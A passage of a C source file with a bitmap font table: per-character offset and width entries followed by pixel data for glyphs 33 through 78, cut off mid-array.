64:1185\n  0x04, 0xFC, 0x3B, 0x10,  // 65:1276\n  0x05, 0x37, 0x3B, 0x10,  // 66:1335\n  0x05, 0x72, 0x3F, 0x11,  // 67:1394\n  0x05, 0xB1, 0x3F, 0x11,  // 68:1457\n  0x05, 0xF0, 0x3B, 0x10,  // 69:1520\n  0x06, 0x2B, 0x35, 0x0F,  // 70:1579\n  0x06, 0x60, 0x43, 0x13,  // 71:1632\n  0x06, 0xA3, 0x3B, 0x11,  // 72:1699\n  0x06, 0xDE, 0x0F, 0x07,  // 73:1758\n  0x06, 0xED, 0x27, 0x0C,  // 74:1773\n  0x07, 0x14, 0x3F, 0x10,  // 75:1812\n  0x07, 0x53, 0x2F, 0x0D,  // 76:1875\n  0x07, 0x82, 0x43, 0x14,  // 77:1922\n  0x07, 0xC5, 0x3B, 0x11,  // 78:1989\n  0x08, 0x00, 0x47, 0x13,  // 79:2048\n  0x08, 0x47, 0x3A, 0x10,  // 80:2119\n  0x08, 0x81, 0x47, 0x13,  // 81:2177\n  0x08, 0xC8, 0x3F, 0x11,  // 82:2248\n  0x09, 0x07, 0x3B, 0x10,  // 83:2311\n  0x09, 0x42, 0x35, 0x0F,  // 84:2370\n  0x09, 0x77, 0x3B, 0x11,  // 85:2423\n  0x09, 0xB2, 0x39, 0x10,  // 86:2482\n  0x09, 0xEB, 0x59, 0x17,  // 87:2539\n  0x0A, 0x44, 0x3B, 0x10,  // 88:2628\n  0x0A, 0x7F, 0x3D, 0x10,  // 89:2687\n  0x0A, 0xBC, 0x37, 0x0F,  // 90:2748\n  0x0A, 0xF3, 0x14, 0x07,  // 91:2803\n  0x0B, 0x07, 0x1B, 0x07,  // 92:2823\n  0x0B, 0x22, 0x18, 0x07,  // 93:2850\n  0x0B, 0x3A, 0x2A, 0x0B,  // 94:2874\n  0x0B, 0x64, 0x34, 0x0D,  // 95:2916\n  0x0B, 0x98, 0x11, 0x08,  // 96:2968\n  0x0B, 0xA9, 0x2F, 0x0D,  // 97:2985\n  0x0B, 0xD8, 0x33, 0x0D,  // 98:3032\n  0x0C, 0x0B, 0x2B, 0x0C,  // 99:3083\n  0x0C, 0x36, 0x2F, 0x0D,  // 100:3126\n  0x0C, 0x65, 0x2F, 0x0D,  // 101:3173\n  0x0C, 0x94, 0x1A, 0x07,  // 102:3220\n  0x0C, 0xAE, 0x2F, 0x0D,  // 103:3246\n  0x0C, 0xDD, 0x2F, 0x0D,  // 104:3293\n  0x0D, 0x0C, 0x0F, 0x05,  // 105:3340\n  0x0D, 0x1B, 0x10, 0x05,  // 106:3355\n  0x0D, 0x2B, 0x2F, 0x0C,  // 107:3371\n  0x0D, 0x5A, 0x0F, 0x05,  // 108:3418\n  0x0D, 0x69, 0x47, 0x14,  // 109:3433\n  0x0D, 0xB0, 0x2F, 0x0D,  // 110:3504\n  0x0D, 0xDF, 0x2F, 0x0D,  // 111:3551\n  0x0E, 0x0E, 0x33, 0x0D,  // 112:3598\n  0x0E, 0x41, 0x30, 0x0D,  // 113:3649\n  0x0E, 0x71, 0x1E, 0x08,  // 114:3697\n  0x0E, 0x8F, 0x2B, 0x0C,  // 115:3727\n  0x0E, 0xBA, 0x1B, 0x07,  // 116:3770\n  0x0E, 0xD5, 0x2F, 0x0D,  // 117:3797\n  0x0F, 0x04, 0x2A, 0x0C,  // 118:3844\n  0x0F, 0x2E, 0x42, 0x11,  // 119:3886\n  0x0F, 0x70, 0x2B, 0x0C,  // 120:3952\n  0x0F, 0x9B, 0x2A, 0x0C,  // 121:3995\n  0x0F, 0xC5, 0x2B, 0x0C,  // 122:4037\n  0x0F, 0xF0, 0x1C, 0x08,  // 123:4080\n  0x10, 0x0C, 0x10, 0x06,  // 124:4108\n  0x10, 0x1C, 0x1B, 0x08,  // 125:4124\n  0x10, 0x37, 0x32, 0x0E,  // 126:4151\n  0xFF, 0xFF, 0x00, 0x00,  // 127:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 128:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 129:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 130:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 131:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 132:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 133:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 134:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 135:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 136:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 137:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 138:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 139:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 140:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 141:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 142:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 143:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 144:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 145:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 146:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 147:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 148:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 149:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 150:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 151:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 152:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 153:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 154:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 155:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 156:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 157:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 158:65535\n  0xFF, 0xFF, 0x00, 0x18,  // 159:65535\n  0xFF, 0xFF, 0x00, 0x07,  // 160:65535\n  0x10, 0x69, 0x14, 0x08,  // 161:4201\n  0x10, 0x7D, 0x2B, 0x0D,  // 162:4221\n  0x10, 0xA8, 0x2F, 0x0D,  // 163:4264\n  0x10, 0xD7, 0x33, 0x0D,  // 164:4311\n  0x11, 0x0A, 0x31, 0x0D,  // 165:4362\n  0x11, 0x3B, 0x10, 0x06,  // 166:4411\n  0x11, 0x4B, 0x2F, 0x0D,  // 167:4427\n  0x11, 0x7A, 0x19, 0x08,  // 168:4474\n  0x11, 0x93, 0x46, 0x12,  // 169:4499\n  0x11, 0xD9, 0x1A, 0x09,  // 170:4569\n  0x11, 0xF3, 0x27, 0x0D,  // 171:4595\n  0x12, 0x1A, 0x2F, 0x0E,  // 172:4634\n  0x12, 0x49, 0x1B, 0x08,  // 173:4681\n  0x12, 0x64, 0x46, 0x12,  // 174:4708\n  0x12, 0xAA, 0x31, 0x0D,  // 175:4778\n  0x12, 0xDB, 0x1E, 0x0A,  // 176:4827\n  0x12, 0xF9, 0x33, 0x0D,  // 177:4857\n  0x13, 0x2C, 0x1A, 0x08,  // 178:4908\n  0x13, 0x46, 0x1A, 0x08,  // 179:4934\n  0x13, 0x60, 0x19, 0x08,  // 180:4960\n  0x13, 0x79, 0x2F, 0x0E,  // 181:4985\n  0x13, 0xA8, 0x31, 0x0D,  // 182:5032\n  0x13, 0xD9, 0x12, 0x08,  // 183:5081\n  0x13, 0xEB, 0x18, 0x08,  // 184:5099\n  0x14, 0x03, 0x16, 0x08,  // 185:5123\n  0x14, 0x19, 0x1E, 0x09,  // 186:5145\n  0x14, 0x37, 0x2E, 0x0D,  // 187:5175\n  0x14, 0x65, 0x4F, 0x14,  // 188:5221\n  0x14, 0xB4, 0x4B, 0x14,  // 189:5300\n  0x14, 0xFF, 0x4B, 0x14,  // 190:5375\n  0x15, 0x4A, 0x33, 0x0F,  // 191:5450\n  0x15, 0x7D, 0x3B, 0x10,  // 192:5501\n  0x15, 0xB8, 0x3B, 0x10,  // 193:5560\n  0x15, 0xF3, 0x3B, 0x10,  // 194:5619\n  0x16, 0x2E, 0x3B, 0x10,  // 195:5678\n  0x16, 0x69, 0x3B, 0x10,  // 196:5737\n  0x16, 0xA4, 0x3B, 0x10,  // 197:5796\n  0x16, 0xDF, 0x5B, 0x18,  // 198:5855\n  0x17, 0x3A, 0x3F, 0x11,  // 199:5946\n  0x17, 0x79, 0x3B, 0x10,  // 200:6009\n  0x17, 0xB4, 0x3B, 0x10,  // 201:6068\n  0x17, 0xEF, 0x3B, 0x10,  // 202:6127\n  0x18, 0x2A, 0x3B, 0x10,  // 203:6186\n  0x18, 0x65, 0x11, 0x07,  // 204:6245\n  0x18, 0x76, 0x11, 0x07,  // 205:6262\n  0x18, 0x87, 0x15, 0x07,  // 206:6279\n  0x18, 0x9C, 0x15, 0x07,  // 207:6300\n  0x18, 0xB1, 0x3F, 0x11,  // 208:6321\n  0x18, 0xF0, 0x3B, 0x11,  // 209:6384\n  0x19, 0x2B, 0x47, 0x13,  // 210:6443\n  0x19, 0x72, 0x47, 0x13,  // 211:6514\n  0x19, 0xB9, 0x47, 0x13,  // 212:6585\n  0x1A, 0x00, 0x47, 0x13,  // 213:6656\n  0x1A, 0x47, 0x47, 0x13,  // 214:6727\n  0x1A, 0x8E, 0x2B, 0x0E,  // 215:6798\n  0x1A, 0xB9, 0x47, 0x13,  // 216:6841\n  0x1B, 0x00, 0x3B, 0x11,  // 217:6912\n  0x1B, 0x3B, 0x3B, 0x11,  // 218:6971\n  0x1B, 0x76, 0x3B, 0x11,  // 219:7030\n  0x1B, 0xB1, 0x3B, 0x11,  // 220:7089\n  0x1B, 0xEC, 0x3D, 0x10,  // 221:7148\n  0x1C, 0x29, 0x3A, 0x10,  // 222:7209\n  0x1C, 0x63, 0x37, 0x0F,  // 223:7267\n  0x1C, 0x9A, 0x2F, 0x0D,  // 224:7322\n  0x1C, 0xC9, 0x2F, 0x0D,  // 225:7369\n  0x1C, 0xF8, 0x2F, 0x0D,  // 226:7416\n  0x1D, 0x27, 0x2F, 0x0D,  // 227:7463\n  0x1D, 0x56, 0x2F, 0x0D,  // 228:7510\n  0x1D, 0x85, 0x2F, 0x0D,  // 229:7557\n  0x1D, 0xB4, 0x53, 0x15,  // 230:7604\n  0x1E, 0x07, 0x2B, 0x0C,  // 231:7687\n  0x1E, 0x32, 0x2F, 0x0D,  // 232:7730\n  0x1E, 0x61, 0x2F, 0x0D,  // 233:7777\n  0x1E, 0x90, 0x2F, 0x0D,  // 234:7824\n  0x1E, 0xBF, 0x2F, 0x0D,  // 235:7871\n  0x1E, 0xEE, 0x11, 0x07,  // 236:7918\n  0x1E, 0xFF, 0x11, 0x07,  // 237:7935\n  0x1F, 0x10, 0x15, 0x07,  // 238:7952\n  0x1F, 0x25, 0x15, 0x07,  // 239:7973\n  0x1F, 0x3A, 0x2F, 0x0D,  // 240:7994\n  0x1F, 0x69, 0x2F, 0x0D,  // 241:8041\n  0x1F, 0x98, 0x2F, 0x0D,  // 242:8088\n  0x1F, 0xC7, 0x2F, 0x0D,  // 243:8135\n  0x1F, 0xF6, 0x2F, 0x0D,  // 244:8182\n  0x20, 0x25, 0x2F, 0x0D,  // 245:8229\n  0x20, 0x54, 0x2F, 0x0D,  // 246:8276\n  0x20, 0x83, 0x32, 0x0D,  // 247:8323\n  0x20, 0xB5, 0x33, 0x0F,  // 248:8373\n  0x20, 0xE8, 0x2F, 0x0D,  // 249:8424\n  0x21, 0x17, 0x2F, 0x0D,  // 250:8471\n  0x21, 0x46, 0x2F, 0x0D,  // 251:8518\n  0x21, 0x75, 0x2F, 0x0D,  // 252:8565\n  0x21, 0xA4, 0x2A, 0x0C,  // 253:8612\n  0x21, 0xCE, 0x2F, 0x0D,  // 254:8654\n  0x21, 0xFD, 0x2A, 0x0C,  // 255:8701\n\n  // Font Data:\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x33,0x00,0xE0,0xFF,0x33, // 33\n  0x00,0x00,0x00,0x00,0xE0,0x07,0x00,0x00,0xE0,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0x07,0x00,0x00,0xE0,0x07,  // 34\n  0x00,0x0C,0x03,0x00,0x00,0x0C,0x33,0x00,0x00,0x0C,0x3F,0x00,0x00,0xFC,0x0F,0x00,0x80,0xFF,0x03,0x00,0xE0,0x0F,0x03,0x00,0x60,0x0C,0x33,0x00,0x00,0x0C,0x3F,0x00,0x00,0xFC,0x0F,0x00,0x80,0xFF,0x03,0x00,0xE0,0x0F,0x03,0x00,0x60,0x0C,0x03,0x00,0x00,0x0C,0x03, // 35\n  0x00,0x00,0x00,0x00,0x80,0x07,0x06,0x00,0xC0,0x0F,0x1E,0x00,0xC0,0x18,0x1C,0x00,0x60,0x18,0x38,0x00,0x60,0x30,0x30,0x00,0xF0,0xFF,0xFF,0x00,0x60,0x30,0x30,0x00,0x60,0x60,0x38,0x00,0xC0,0x60,0x18,0x00,0xC0,0xC1,0x1F,0x00,0x00,0x81,0x07, // 36\n  0x00,0x00,0x00,0x00,0x80,0x0F,0x00,0x00,0xC0,0x1F,0x00,0x00,0x60,0x30,0x00,0x00,0x20,0x20,0x00,0x00,0x20,0x20,0x20,0x00,0x60,0x30,0x38,0x00,0xC0,0x1F,0x1E,0x00,0x80,0x8F,0x0F,0x00,0x00,0xC0,0x03,0x00,0x00,0xF0,0x00,0x00,0x00,0x3C,0x00,0x00,0x00,0x8F,0x0F,0x00,0xC0,0xC3,0x1F,0x00,0xE0,0x60,0x30,0x00,0x20,0x20,0x20,0x00,0x00,0x20,0x20,0x00,0x00,0x60,0x30,0x00,0x00,0xC0,0x1F,0x00,0x00,0x80,0x0F, // 37\n  0x00,0x00,0x00,0x00,0x00,0x80,0x07,0x00,0x00,0xC0,0x0F,0x00,0x80,0xE3,0x1C,0x00,0xC0,0x77,0x38,0x00,0xE0,0x3C,0x30,0x00,0x60,0x38,0x30,0x00,0x60,0x78,0x30,0x00,0xE0,0xEC,0x38,0x00,0xC0,0x8F,0x1B,0x00,0x80,0x03,0x1F,0x00,0x00,0x00,0x0F,0x00,0x00,0xC0,0x1F,0x00,0x00,0xC0,0x38,0x00,0x00,0x00,0x10, // 38\n  0x00,0x00,0x00,0x00,0xE0,0x07,0x00,0x00,0xE0,0x07,  // 39\n  0x00,0x00,0x00,0x00,0x00,0xF0,0x0F,0x00,0x00,0xFE,0x7F,0x00,0x80,0x0F,0xF0,0x01,0xC0,0x01,0x80,0x03,0x60,0x00,0x00,0x06,0x20,0x00,0x00,0x04,  // 40\n  0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x04,0x60,0x00,0x00,0x06,0xC0,0x01,0x80,0x03,0x80,0x0F,0xF0,0x01,0x00,0xFE,0x7F,0x00,0x00,0xF0,0x0F, // 41\n  0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x80,0x04,0x00,0x00,0x80,0x0F,0x00,0x00,0xE0,0x03,0x00,0x00,0xE0,0x03,0x00,0x00,0x80,0x0F,0x00,0x00,0x80,0x04,0x00,0x00,0x80, // 42\n  0x00,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0xFF,0x0F,0x00,0x00,0xFF,0x0F,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,  // 43\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0xF0,0x01,  // 44\n  0x00,0x80,0x01,0x00,0x00,0x80,0x01,0x00,0x00,0x80,0x01,0x00,0x00,0x80,0x01,0x00,0x00,0x80,0x01,0x00,0x00,0x80,0x01,0x00,0x00,0x80,0x01, // 45\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30, // 46\n  0x00,0x00,0x30,0x00,0x00,0x00,0x3E,0x00,0x00,0xE0,0x0F,0x00,0x00,0xFC,0x01,0x00,0x80,0x3F,0x00,0x00,0xE0,0x03,0x00,0x00,0x60, // 47\n  0x00,0x00,0x00,0x00,0x00,0xFE,0x03,0x00,0x80,0xFF,0x0F,0x00,0xC0,0x01,0x1C,0x00,0xE0,0x00,0x38,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0xE0,0x00,0x38,0x00,0xC0,0x01,0x1C,0x00,0x80,0xFF,0x0F,0x00,0x00,0xFE,0x03, // 48\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x03,0x00,0x00,0x80,0x01,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F, // 49\n  0x00,0x00,0x00,0x00,0x00,0x03,0x30,0x00,0xC0,0x03,0x38,0x00,0xC0,0x00,0x3C,0x00,0x60,0x00,0x36,0x00,0x60,0x00,0x33,0x00,0x60,0x80,0x31,0x00,0x60,0xC0,0x30,0x00,0x60,0x60,0x30,0x00,0xC0,0x30,0x30,0x00,0xC0,0x1F,0x30,0x00,0x00,0x0F,0x30, // 50\n  0x00,0x00,0x00,0x00,0x00,0x01,0x06,0x00,0xC0,0x01,0x0E,0x00,0xC0,0x00,0x1C,0x00,0x60,0x00,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0xC0,0x38,0x30,0x00,0xC0,0x6F,0x18,0x00,0x80,0xC7,0x0F,0x00,0x00,0x80,0x07, // 51\n  0x00,0x00,0x00,0x00,0x00,0x80,0x03,0x00,0x00,0xC0,0x03,0x00,0x00,0xF0,0x03,0x00,0x00,0x3C,0x03,0x00,0x00,0x0E,0x03,0x00,0x80,0x07,0x03,0x00,0xC0,0x01,0x03,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x03, // 52\n  0x00,0x00,0x00,0x00,0x00,0x30,0x06,0x00,0x80,0x3F,0x0E,0x00,0xE0,0x1F,0x18,0x00,0x60,0x08,0x30,0x00,0x60,0x0C,0x30,0x00,0x60,0x0C,0x30,0x00,0x60,0x0C,0x30,0x00,0x60,0x0C,0x30,0x00,0x60,0x18,0x1C,0x00,0x60,0xF0,0x0F,0x00,0x00,0xE0,0x03, // 53\n  0x00,0x00,0x00,0x00,0x00,0xFC,0x03,0x00,0x80,0xFF,0x0F,0x00,0xC0,0x63,0x1C,0x00,0xC0,0x30,0x38,0x00,0x60,0x18,0x30,0x00,0x60,0x18,0x30,0x00,0x60,0x18,0x30,0x00,0x60,0x18,0x30,0x00,0xE0,0x30,0x18,0x00,0xC0,0xF1,0x0F,0x00,0x80,0xC1,0x07, // 54\n  0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x60,0x00,0x3C,0x00,0x60,0x80,0x3F,0x00,0x60,0xE0,0x03,0x00,0x60,0x78,0x00,0x00,0x60,0x0E,0x00,0x00,0x60,0x03,0x00,0x00,0xE0,0x01,0x00,0x00,0x60, // 55\n  0x00,0x00,0x00,0x00,0x00,0x80,0x07,0x00,0x80,0xC7,0x1F,0x00,0xC0,0x6F,0x18,0x00,0xE0,0x38,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0xE0,0x38,0x30,0x00,0xC0,0x6F,0x18,0x00,0x80,0xC7,0x1F,0x00,0x00,0x80,0x07, // 56\n  0x00,0x00,0x00,0x00,0x00,0x1F,0x0C,0x00,0x80,0x7F,0x1C,0x00,0xC0,0x61,0x38,0x00,0x60,0xC0,0x30,0x00,0x60,0xC0,0x30,0x00,0x60,0xC0,0x30,0x00,0x60,0xC0,0x30,0x00,0x60,0x60,0x18,0x00,0xC0,0x31,0x1E,0x00,0x80,0xFF,0x0F,0x00,0x00,0xFE,0x01, // 57\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x06,0x30,0x00,0x00,0x06,0x30, // 58\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x06,0x30,0x03,0x00,0x06,0xF0,0x01,  // 59\n  0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x70,0x00,0x00,0x00,0x50,0x00,0x00,0x00,0xD8,0x00,0x00,0x00,0xD8,0x00,0x00,0x00,0x8C,0x01,0x00,0x00,0x8C,0x01,0x00,0x00,0x04,0x01,0x00,0x00,0x06,0x03,0x00,0x00,0x06,0x03,0x00,0x00,0x03,0x06, // 60\n  0x00,0x00,0x00,0x00,0x00,0x8C,0x01,0x00,0x00,0x8C,0x01,0x00,0x00,0x8C,0x01,0x00,0x00,0x8C,0x01,0x00,0x00,0x8C,0x01,0x00,0x00,0x8C,0x01,0x00,0x00,0x8C,0x01,0x00,0x00,0x8C,0x01,0x00,0x00,0x8C,0x01,0x00,0x00,0x8C,0x01,0x00,0x00,0x8C,0x01, // 61\n  0x00,0x00,0x00,0x00,0x00,0x03,0x06,0x00,0x00,0x06,0x03,0x00,0x00,0x06,0x03,0x00,0x00,0x04,0x01,0x00,0x00,0x8C,0x01,0x00,0x00,0x8C,0x01,0x00,0x00,0xD8,0x00,0x00,0x00,0xD8,0x00,0x00,0x00,0x50,0x00,0x00,0x00,0x70,0x00,0x00,0x00,0x20,  // 62\n  0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x80,0x03,0x00,0x00,0xC0,0x01,0x00,0x00,0xE0,0x00,0x00,0x00,0x60,0x80,0x33,0x00,0x60,0xC0,0x33,0x00,0x60,0xE0,0x00,0x00,0x60,0x30,0x00,0x00,0xC0,0x38,0x00,0x00,0xC0,0x1F,0x00,0x00,0x00,0x07,  // 63\n  0x00,0x00,0x00,0x00,0x00,0xE0,0x0F,0x00,0x00,0xF8,0x3F,0x00,0x00,0x1E,0xF0,0x00,0x00,0x07,0xC0,0x01,0x80,0xC3,0x87,0x01,0xC0,0xF1,0x9F,0x03,0xC0,0x38,0x18,0x03,0xC0,0x0C,0x30,0x03,0x60,0x0E,0x30,0x06,0x60,0x06,0x30,0x06,0x60,0x06,0x18,0x06,0x60,0x06,0x0C,0x06,0x60,0x0C,0x1E,0x06,0x60,0xF8,0x3F,0x06,0xE0,0xFE,0x31,0x06,0xC0,0x0E,0x30,0x06,0xC0,0x01,0x18,0x03,0x80,0x03,0x1C,0x03,0x00,0x07,0x8F,0x01,0x00,0xFE,0x87,0x01,0x00,0xF8,0xC1,0x00,0x00,0x00,0x40, // 64\n  0x00,0x00,0x30,0x00,0x00,0x00,0x3E,0x00,0x00,0x80,0x0F,0x00,0x00,0xF0,0x03,0x00,0x00,0xFE,0x01,0x00,0x80,0x8F,0x01,0x00,0xE0,0x83,0x01,0x00,0x60,0x80,0x01,0x00,0xE0,0x83,0x01,0x00,0x80,0x8F,0x01,0x00,0x00,0xFE,0x01,0x00,0x00,0xF0,0x03,0x00,0x00,0x80,0x0F,0x00,0x00,0x00,0x3E,0x00,0x00,0x00,0x30, // 65\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0xC0,0x78,0x30,0x00,0xC0,0xFF,0x18,0x00,0x80,0xC7,0x1F,0x00,0x00,0x80,0x07, // 66\n  0x00,0x00,0x00,0x00,0x00,0xFC,0x01,0x00,0x00,0xFF,0x07,0x00,0x80,0x07,0x0F,0x00,0xC0,0x01,0x1C,0x00,0xC0,0x00,0x18,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0xC0,0x00,0x18,0x00,0xC0,0x01,0x1C,0x00,0x80,0x03,0x0F,0x00,0x00,0x02,0x03, // 67\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0xE0,0x00,0x18,0x00,0xC0,0x01,0x1C,0x00,0x80,0x03,0x0E,0x00,0x00,0xFF,0x07,0x00,0x00,0xFC,0x01, // 68\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x30,0x30,0x00,0x60,0x00,0x30, // 69\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0x60,0x30,0x00,0x00,0x60,0x30,0x00,0x00,0x60,0x30,0x00,0x00,0x60,0x30,0x00,0x00,0x60,0x30,0x00,0x00,0x60,0x30,0x00,0x00,0x60,0x30,0x00,0x00,0x60,0x30,0x00,0x00,0x60,0x30,0x00,0x00,0x60, // 70\n  0x00,0x00,0x00,0x00,0x00,0xFC,0x01,0x00,0x00,0xFF,0x07,0x00,0x80,0x07,0x0F,0x00,0xC0,0x01,0x1C,0x00,0xC0,0x00,0x18,0x00,0xE0,0x00,0x18,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0x60,0x00,0x30,0x00,0x60,0x60,0x30,0x00,0x60,0x60,0x30,0x00,0xE0,0x60,0x38,0x00,0xC0,0x60,0x18,0x00,0xC0,0x61,0x18,0x00,0x80,0xE3,0x0F,0x00,0x00,0xE2,0x0F, // 71\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F, // 72\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F, // 73\n  0x00,0x00,0x00,0x00,0x00,0x00,0x0E,0x00,0x00,0x00,0x1E,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x38,0x00,0xE0,0xFF,0x1F,0x00,0xE0,0xFF,0x0F, // 74\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0x00,0xE0,0x00,0x00,0x00,0x70,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x7C,0x00,0x00,0x00,0xFE,0x00,0x00,0x00,0xE7,0x01,0x00,0x80,0x83,0x07,0x00,0xC0,0x01,0x0F,0x00,0xE0,0x00,0x1E,0x00,0x60,0x00,0x38,0x00,0x20,0x00,0x30,0x00,0x00,0x00,0x20, // 75\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x30, // 76\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0x01,0x00,0x00,0xC0,0x0F,0x00,0x00,0x00,0xFE,0x00,0x00,0x00,0xE0,0x07,0x00,0x00,0x00,0x3F,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x3F,0x00,0x00,0xE0,0x07,0x00,0x00,0xFE,0x00,0x00,0xC0,0x0F,0x00,0x00,0xE0,0x01,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F, // 77\n  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F,0x00,0xC0,0x01,0x00,0x00,0x80,0x03,0x00,0x00,0x00,0x0E,0x00,0x00,0x00,0x3C,0x00,0x00,0x00,0x70,0x00,0x00,0x00,0xE0,0x01,0x00,0x00,0x80,0x03,0x00,0x00,0x00,0x0F,0x00,0x00,0x00,0x1C,0x00,0xE0,0xFF,0x3F,0x00,0xE0,0xFF,0x3F, // 78\n  